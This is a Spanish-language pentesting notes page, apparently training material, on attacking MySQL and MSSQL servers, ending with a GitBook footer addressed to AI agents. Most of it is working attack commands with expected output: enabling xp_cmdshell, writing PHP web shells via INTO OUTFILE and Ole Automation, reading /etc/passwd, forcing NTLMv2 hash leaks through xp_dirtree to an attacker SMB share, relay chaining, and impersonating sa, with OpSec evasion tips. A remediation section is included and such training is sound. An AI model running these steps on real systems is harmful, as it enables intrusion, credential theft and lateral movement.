> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql.md).

# SQL

## Attacking SQL Databases

### Contexto General

* MySQL y MSSQL son RDBMS que almacenan datos en tablas, columnas y filas usando SQL como lenguaje de consulta.
* Son objetivos de alto valor: almacenan credenciales, PII, datos de negocio e información de pagos.
* Suelen configurarse con usuarios de altos privilegios → el acceso puede facilitar lateral movement y privilege escalation.

**Puertos por defecto:**

* MSSQL: TCP/1433, UDP/1434 (modo oculto: TCP/2433)
* MySQL: TCP/3306

### Enumeración

```bash
nmap -Pn -sV -sC -p1433 10.10.10.125
```

* `-Pn` — Desactiva host discovery
* `-sV` — Detección de versión de servicio
* `-sC` — Scripts por defecto (incluye `ms-sql-info`, `ms-sql-ntlm-info`, `ssl-cert`)
* `-p1433` — Puerto MSSQL

**Output esperado:** Versión del servidor (ej. `Microsoft SQL Server 2017 14.00.1000.00`), hostname, dominio NetBIOS/DNS — info clave para identificar misconfigs o CVEs aplicables.

### Mecanismos de Autenticación

* **Windows Authentication Mode (default):** Integración con Windows/Active Directory. Usuarios ya autenticados en Windows no necesitan credenciales adicionales en SQL Server.
* **Mixed Mode:** Soporta cuentas Windows/AD y también usuario/contraseña locales de SQL Server.
* **MySQL:** Soporta usuario/contraseña y Windows Authentication (mediante plugin).

#### CVE-2012-2122 — MySQL 5.6.x Authentication Bypass

> Vulnerabilidad de timing attack: el servidor MySQL tarda más en responder a una contraseña incorrecta que a una correcta. Al autenticarse repetidamente con la misma contraseña incorrecta, eventualmente el servidor responde como si fuera válida. Referencia: [CVE-2012-2122](https://nvd.nist.gov/vuln/detail/CVE-2012-2122)

### Misconfigurations Comunes

* Anonymous access habilitado
* Usuario configurado sin contraseña
* Cualquier usuario, grupo o máquina con acceso sin restricciones al SQL Server

### Privilegios Post-Acceso

Con acceso a una instancia SQL, dependiendo del nivel de privilegios, se puede:

* Leer/modificar contenido de bases de datos
* Leer/modificar la configuración del servidor
* Ejecutar comandos en el OS
* Leer archivos locales
* Comunicarse con otras bases de datos
* Capturar el hash del sistema local
* Impersonar usuarios existentes
* Acceder a otras redes

### Conexión a la Base de Datos

#### MySQL

```bash
mysql -u julio -pPassword123 -h 10.129.20.13
```

```bash
mysql -u root -h docker.hackthebox.eu -P 3306 -p'password'
```

Querys:

```
CREATE DATABASE users;
```

```
SHOW DATABASES;
```

```
USE users;
```

```
CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
    );
```

```sql
SHOW TABLES;
```

```sql
DESCRIBE logins;
```

```sql
CREATE TABLE logins (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    date_of_joining DATETIME DEFAULT NOW(),
    PRIMARY KEY (id)
    );
```

#### INSERTAR

El `INSERT` se usa para agregar registros nuevos a una tabla. Sintaxis base:

```sql
INSERT INTO table_name VALUES (valor1, valor2, valor3, ...);
```

Así tienes que dar valores para **todas** las columnas de la tabla:

```sql
INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
```

**Insertar en columnas específicas**

Puedes omitir columnas con valores por defecto (como `id` o `date_of_joining`) especificando solo las columnas que quieres llenar:

```sql
INSERT INTO table_name(column2, column3, ...) VALUES (valor2, valor3, ...);
```

Ejemplo, saltándote `id` y `date_of_joining`

```sql
INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
```

⚠️ Si te saltas una columna con la restricción `NOT NULL`, da error, porque ese valor es obligatorio.

**Insertar varios registros a la vez**

Separándolos con comas:

```sql
INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
```

Esto inserta dos registros en una sola query.

Nota: los ejemplos guardan passwords en texto plano solo por demostración. En la práctica es mala idea — siempre deben ir hasheadas/encriptadas antes de almacenarse.

#### SELECT

El `SELECT` se usa para recuperar datos de las tablas (entre otros usos que verás más adelante). Para ver la tabla completa:

```sql
SELECT * FROM table_name;
```

El asterisco (`*`) es un comodín que selecciona **todas** las columnas, y `FROM` indica de qué tabla leer.

También puedes ver solo columnas específicas:

```sql
SELECT column1, column2 FROM table_name;
```

Esto trae únicamente los datos de `column1` y `column2`.

**Ejemplos**

Ver todos los registros de `logins`:

```sql
SELECT * FROM logins;
```

```
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
```

Seleccionar solo `username` y `password`, saltándote las otras dos columnas:

```sql
SELECT username, password FROM logins;
```

```
+---------------+------------+
| username      | password   |
+---------------+------------+
| admin         | p@ssw0rd   |
| administrator | adm1n_p@ss |
| john          | john123!   |
| tom           | tom123!    |
+---------------+------------+
```

La primera query muestra los cuatro registros completos; la segunda trae solo las columnas que le pides.

#### DROP

Se usa para eliminar tablas y bases de datos del servidor.

```sql
DROP TABLE logins;
```

Después de esto, al hacer `SHOW TABLES;` el resultado queda vacío — la tabla se eliminó por completo.

⚠️ El `DROP` borra la tabla de forma **permanente y total, sin pedir confirmación**, así que úsalo con cuidado.

#### ALTER

`ALTER` se usa para modificar una tabla existente: cambiar su nombre o el de sus campos, y agregar o eliminar columnas.

**Agregar una columna** con `ADD`:

```sql
ALTER TABLE logins ADD newColumn INT;
```

**Renombrar una columna** con `RENAME COLUMN`:

```sql
ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn;
```

**Cambiar el tipo de dato** de una columna con `MODIFY`:

```sql
ALTER TABLE logins MODIFY newerColumn DATE;
```

**Eliminar una columna** con `DROP`:

```sql
ALTER TABLE logins DROP newerColumn;
```

Puedes usar cualquiera de estas operaciones sobre cualquier tabla existente, siempre que tengas los privilegios suficientes para hacerlo.

#### UPDATE

Mientras que `ALTER` cambia las propiedades de la tabla, `UPDATE` se usa para actualizar registros específicos dentro de una tabla según ciertas condiciones. Sintaxis general:

```sql
UPDATE table_name SET column1=nuevovalor1, column2=nuevovalor2, ... WHERE <condicion>;
```

Especificas la tabla, cada columna con su nuevo valor, y la condición que define qué registros se actualizan.

**Ejemplo** — cambiar el password en todos los registros con `id > 1`:

```sql
UPDATE logins SET password = 'change_password' WHERE id > 1;
```

Resultado: los registros con `id` 2, 3 y 4 quedan con el password actualizado, mientras que el `id` 1 se mantiene intacto.

```
+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:47:16 |
+----+---------------+-----------------+---------------------+
```

⚠️ Con `UPDATE` **siempre** debes especificar la cláusula `WHERE` para indicar qué registros se modifican. Si la omites, actualizarías todos los registros de la tabla. (La cláusula `WHERE` se ve a continuación.)

### MSSQL con sqlcmd (Windows)

```cmd
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
```

* `-S` — Nombre del servidor
* `-U` / `-P` — Usuario y contraseña
* `-y` / `-Y` — Ancho de columnas para output más legible (puede afectar rendimiento)

**Output esperado:** Prompt `1>`

***

#### MSSQL con sqsh (Linux)

```bash
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
```

* `-h` — Deshabilita headers/footers para output más limpio

**Output esperado:** Prompt `1>`

***

#### MSSQL con mssqlclient.py (Impacket)

```bash
mssqlclient.py -p 1433 julio@10.129.203.7
```

**Output esperado:** Prompt `SQL>` con información del servidor.

***

#### Windows Authentication con sqsh (cuenta local)

```bash
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
```

> **Nota:** Para especificar una cuenta local usar `SERVERNAME\\accountname` o `.\\accountname`. Si no se especifica dominio/hostname, sqsh asume SQL Authentication. Definir dominio/hostname activa Windows Authentication.

***

### SQL Syntax — Read / Change Database

#### Bases de Datos por Defecto

**MySQL (no contienen datos de empresa):**

* `mysql` — Información requerida por el servidor
* `information_schema` — Metadatos de la base de datos
* `performance_schema` — Monitoreo de ejecución del servidor
* `sys` — Objetos para DBAs y desarrolladores

**MSSQL (no contienen datos de empresa):**

* `master` — Info de la instancia SQL Server
* `msdb` — Usado por SQL Server Agent
* `model` — Template para nuevas DBs
* `resource` — DB de solo lectura con objetos del sistema
* `tempdb` — Objetos temporales

> **Nota:** Se obtendrá error al intentar listar o conectarse a una DB sin permisos.

***

#### Show Databases

```sql
-- MySQL
SHOW DATABASES;
```

```sql
-- MSSQL (sqlcmd requiere GO para ejecutar)
SELECT name FROM master.dbo.sysdatabases
GO
```

**Output esperado (MySQL):**

```
+--------------------+
| Database           |
+--------------------+
| information_schema |
| htbusers           |
+--------------------+
```

***

#### Select a Database

```sql
-- MySQL
USE htbusers;
```

```sql
-- MSSQL
USE htbusers
GO
```

***

#### Show Tables

```sql
-- MySQL
SHOW TABLES;
```

```sql
-- MSSQL
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO
```

***

#### Dump Tabla de Usuarios

```sql
-- MySQL / MSSQL
SELECT * FROM users
GO
```

**Output esperado:**

```
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
...
```

***

### Ejecución de Comandos

#### xp\_cmdshell (MSSQL)

```sql
xp_cmdshell 'whoami'
GO
```

**Output esperado:** Nombre de la cuenta de servicio de SQL Server (ej. `no service\mssql$sqlexpress`).

***

#### Habilitar xp\_cmdshell (requiere admin)

```sql
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
```

* `xp_cmdshell` está **deshabilitado por defecto**.
* El proceso Windows lanzado hereda los derechos de la cuenta de servicio de SQL Server.
* Opera de forma síncrona — el control no retorna hasta que el comando finaliza.
* Puede habilitarse con Policy-Based Management o con `sp_configure`.

**⚠️ OpSec: `xp_cmdshell` es ampliamente monitoreado por EDR/SIEM. Habilitarlo genera eventos de cambio de configuración y su uso crea procesos hijo visibles.**

**Alternativas para ejecución de comandos en MSSQL:**

* CLR Assemblies
* Extended Stored Procedures
* SQL Server Agent Jobs
* External Scripts
* `xp_regwrite` — para modificar el registro de Windows y escalar privilegios

***

#### MySQL — User Defined Functions (UDF)

* MySQL soporta UDFs en C/C++ para ejecutar código como función SQL.
* No es común en producción, pero puede encontrarse. Referencia: [GitHub - lib\_mysqludf\_sys](https://github.com/mysqludf/lib_mysqludf_sys)

***

### Escritura de Archivos Locales

#### MySQL — Web Shell via SELECT INTO OUTFILE

```sql
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
```

**Output esperado:** `Query OK, 1 row affected` → acceder a `http://target/webshell.php?c=whoami`.

**Prerequisitos:**

* Servidor web (ej. PHP) corriendo en el mismo host
* Variable `secure_file_priv` vacía o apuntando al directorio destino
* Usuario con privilegio `FILE`

**⚠️ OpSec: El archivo queda escrito en disco. Artefacto persistente detectable por AV/EDR y logs del web server.**

***

#### Verificar secure\_file\_priv (MySQL)

```sql
show variables like "secure_file_priv";
```

* `Value` **vacío** → sin restricciones (inseguro)
* Apunta a un **directorio** → solo se pueden escribir archivos en ese path
* `NULL` → escritura deshabilitada

***

#### MSSQL — Escritura de Archivos via Ole Automation

**Habilitar Ole Automation Procedures (requiere admin)**

```sql
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO
```

**Crear web shell**

```sql
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
```

**⚠️ OpSec: Habilitar Ole Automation genera eventos de cambio de configuración auditables. El archivo en disco es un artefacto detectable por AV/EDR.**

***

### Lectura de Archivos Locales

#### MSSQL — OPENROWSET

```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO
```

**Output esperado:** Contenido del archivo `hosts`. Por defecto, MSSQL permite leer cualquier archivo al que la cuenta de servicio tenga acceso de lectura.

***

#### MySQL — LOAD\_FILE

```sql
select LOAD_FILE("/etc/passwd");
```

**Output esperado:** Contenido del archivo `passwd`.

Por defecto, MySQL **no** permite lectura arbitraria de archivos. Requiere `secure_file_priv` configurado correctamente y privilegio `FILE`.

***

### Captura del Hash del Servicio MSSQL

Usando los stored procedures no documentados `xp_dirtree` o `xp_subdirs`, el servidor MSSQL realiza una conexión SMB hacia un servidor controlado por el atacante, enviando el **NTLMv2 hash** de la cuenta de servicio. Primero levantar Responder o impacket-smbserver.

#### xp\_dirtree

```sql
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO
```

#### xp\_subdirs

```sql
EXEC master..xp_subdirs '\\10.10.110.17\share\'
GO
```

**Output esperado (servidor):** Subdirectorios vacíos o error de acceso denegado — el hash ya fue enviado independientemente.

***

#### Captura con Responder

```bash
sudo responder -I tun0
```

* `-I` — Interfaz de red a escuchar (ej. `tun0` para VPN)

**Output esperado:**

```
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830...
```

***

#### Captura con impacket-smbserver

```bash
sudo impacket-smbserver share ./ -smb2support
```

* `share` — Nombre del share SMB falso
* `./` — Directorio local a compartir
* `-smb2support` — Habilita soporte SMB2

**Output esperado:** Hash NTLMv2 de la cuenta de servicio MSSQL capturado en la conexión entrante.

**Post-explotación:** El hash puede crackearse offline (ej. con hashcat) o usarse en un relay attack.

***

### Impersonación de Usuarios (MSSQL)

> **Concepto:** El permiso `IMPERSONATE` permite que el usuario ejecutante tome los permisos de otro login hasta que el contexto se resetee o la sesión termine. Los sysadmins pueden impersonar a cualquiera por defecto; para usuarios no-admin el permiso debe asignarse explícitamente.

#### Identificar usuarios impersonables

```sql
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
```

**Output esperado:** Lista de logins impersonables (ej. `sa`, `ben`, `valentin`).

***

#### Verificar usuario y rol actuales

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

* `0` → No es sysadmin
* `1` → Es sysadmin

***

#### Impersonar usuario (ej. `sa`)

```sql
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

**Output esperado:** `SYSTEM_USER = sa`, `IS_SRVROLEMEMBER = 1` → privilegios de sysadmin activos.

> **Nota:** Ejecutar `EXECUTE AS LOGIN` dentro de la DB `master`, ya que todos los usuarios tienen acceso a ella por defecto. Si el usuario a impersonar no tiene acceso a la DB actual, se producirá error → usar `USE master` primero.

***

#### Revertir impersonación

```sql
REVERT
```

> **Nota:** Si el usuario encontrado no es sysadmin, verificar si tiene acceso a otras DBs o linked servers para continuar la escalada.

***

### Comunicación con Otras Bases de Datos — Linked Servers (MSSQL)

> **Concepto:** Los Linked Servers permiten ejecutar queries Transact-SQL contra otra instancia SQL Server u otro DBMS (ej. Oracle). Si están configurados con credenciales de sysadmin en el servidor remoto, se puede ejecutar comandos en esa instancia.

#### Identificar Linked Servers

```sql
SELECT srvname, isremote FROM sysservers
GO
```

* `isremote = 1` → servidor remoto
* `isremote = 0` → linked server

**Output esperado:** Lista de servidores con nombre e indicador de tipo.

***

#### Ejecutar query en un Linked Server

```sql
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO
```

* Comando entre paréntesis, nombre del linked server entre corchetes `[ ]`
* Para escapar comillas simples dentro de la query, usar dobles comillas simples `''`
* Para múltiples comandos, separar con `;`

**Output esperado:** Nombre del servidor remoto, versión, usuario activo y si es sysadmin (ej. `sa_remote`, `1`).

**Post-explotación:** Con sysadmin en el linked server se puede leer cualquier DB o ejecutar comandos con `xp_cmdshell`.

***

### Remediación

* Deshabilitar `xp_cmdshell`, Ole Automation Procedures, `xp_dirtree` y `xp_subdirs` si no son necesarios en producción.
* Configurar `secure_file_priv` en MySQL a un directorio específico o `NULL`.
* Aplicar principio de menor privilegio a las cuentas de servicio de SQL Server.
* Usar Windows Authentication Mode exclusivamente y deshabilitar Mixed Mode si no es requerido.
* Auditar y restringir permisos `IMPERSONATE` en MSSQL.
* Revisar y limitar la configuración de Linked Servers, especialmente cuando usan credenciales de alto privilegio.
* Parchear instancias MySQL vulnerables a [CVE-2012-2122](https://nvd.nist.gov/vuln/detail/CVE-2012-2122).

## Latest SQL Vulnerabilities — Robo de NTLMv2 mediante xp\_dirtree

#### Resumen

* Esta técnica **no tiene CVE asignado y no requiere exploit directo**: aprovecha el mecanismo de autenticación nativo de SMB a través de la función no documentada de MSSQL `xp_dirtree`.
* El ataque es viable tanto en conexión directa al servidor MSSQL como mediante aplicaciones web vulnerables. En esta sección se cubre únicamente la variante directa.
* `xp_dirtree` lista el contenido de una carpeta (local o remota) y acepta parámetros de profundidad y ruta objetivo. Al apuntar a un share controlado por el atacante, el servidor MSSQL emite automáticamente un hash **NTLMv2** del usuario de servicio para autenticarse.
* El hash capturado habilita dos vectores:
  * **SMB Relay attack**: "repetir" el hash contra otro host donde la cuenta tenga privilegios de admin local.
  * **Cracking offline**: recuperar la contraseña en texto claro para reutilizarla.
* **Nota crítica**: Microsoft parcheó el relay de vuelta al host de origen. El relay debe apuntar a un host distinto. Cadena posible: relay → admin local en host B → robar credenciales → reutilizarlas en el host origen.

***

#### Aclaración de Conceptos

> **SMB Relay attack**: en lugar de crackear el hash NTLMv2, se reenvía en tiempo real a otro host de la red que acepte ese hash como autenticación válida, otorgando acceso sin necesidad de conocer la contraseña.

***

#### Flujo del Ataque

**Fase 1 — Iniciación via xp\_dirtree**

| Paso | Acción                                                                                  | Categoría   |
| ---- | --------------------------------------------------------------------------------------- | ----------- |
| 1    | El input del usuario especifica la función y la carpeta de red a consultar.             | Source      |
| 2    | El proceso lista el contenido de la carpeta especificada.                               | Process     |
| 3    | La ejecución requiere los privilegios elevados del usuario que corre el servicio MSSQL. | Privileges  |
| 4    | El servicio SMB es el destino al que se reenvía la petición.                            | Destination |

**Fase 2 — Robo del Hash**

| Paso | Acción                                                                                           | Categoría   |
| ---- | ------------------------------------------------------------------------------------------------ | ----------- |
| 5    | El servicio SMB recibe la orden generada por el proceso MSSQL anterior.                          | Source      |
| 6    | Los datos son procesados y se consulta el contenido de la carpeta objetivo.                      | Process     |
| 7    | El hash NTLMv2 del usuario de servicio MSSQL es emitido en la consulta de autenticación.         | Privileges  |
| 8    | El destino es el host controlado por el atacante y el share de red creado para capturar el hash. | Destination |

***

#### Aislamiento de Comandos

Invocar `xp_dirtree` apuntando a un share controlado por el atacante:

```sql
EXEC xp_dirtree '\\<ATTACKER_IP>\<share>', 1, 1
```

* `'\\<ATTACKER_IP>\<share>'` — UNC path al share del atacante; fuerza la autenticación SMB saliente del servidor MSSQL.
* `1` (segundo parámetro) — profundidad de búsqueda (depth).
* `1` (tercer parámetro) — incluir archivos en el listado (`1 = sí`).

Capturar el hash NTLMv2 entrante con Responder:

```bash
sudo responder -I <INTERFACE> -wv
```

* `-I` — interfaz de red en escucha.
* `-w` — habilita el servidor WPAD para ataques adicionales.
* `-v` — modo verbose; muestra los hashes capturados en tiempo real.

**OPSEC**: Responder genera tráfico SMB/LLMNR/NBT-NS notable en la red. Los intentos de autenticación fallida quedan registrados en el Event Log de Windows (Event ID 4625). Usar con precaución en entornos con SIEM o NDR activo.

Alternativa de captura pasiva si no se quiere levantar un listener activo:

```bash
sudo tcpdump -i <INTERFACE> -w capture.pcap port 445
```

***

#### Resultado y Troubleshooting

* **Output esperado**: Responder imprime en consola el hash NTLMv2 del usuario de servicio MSSQL en formato listo para crackear (ej. `MSSQL_SVC::DOMAIN:...`).
* El hash puede crackearse offline con `hashcat -m 5600` o `john --format=netntlmv2`.
* Si el cracking no es viable, intentar SMB Relay hacia otro host de la red con `ntlmrelayx.py`.
* Si el relay al host de origen falla (parcheado), encadenar: relay → admin local en host B → recolectar credenciales con Mimikatz o secretsdump → reutilizar en host origen.
* Existen otros métodos para ejecutar código en MSSQL, incluyendo Python embebido en queries SQL. Referencia: documentación oficial de Microsoft sobre Machine Learning Services en SQL Server.

***

#### Mitigación

* **Remediación**:
  * Deshabilitar `xp_dirtree` y otros extended stored procedures innecesarios (`xp_cmdshell`, `xp_fileexist`) con `sp_configure 'xp_dirtree', 0`.
  * Bloquear el tráfico SMB saliente (puerto 445) desde servidores MSSQL mediante reglas de firewall para impedir conexiones a hosts externos.
  * Configurar el servicio MSSQL con una cuenta de servicio de mínimo privilegio (sin derechos de admin local en otros hosts) para limitar el impacto de un relay exitoso.
  * Habilitar SMB Signing en todos los hosts de la red para anular los ataques de tipo SMB Relay.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.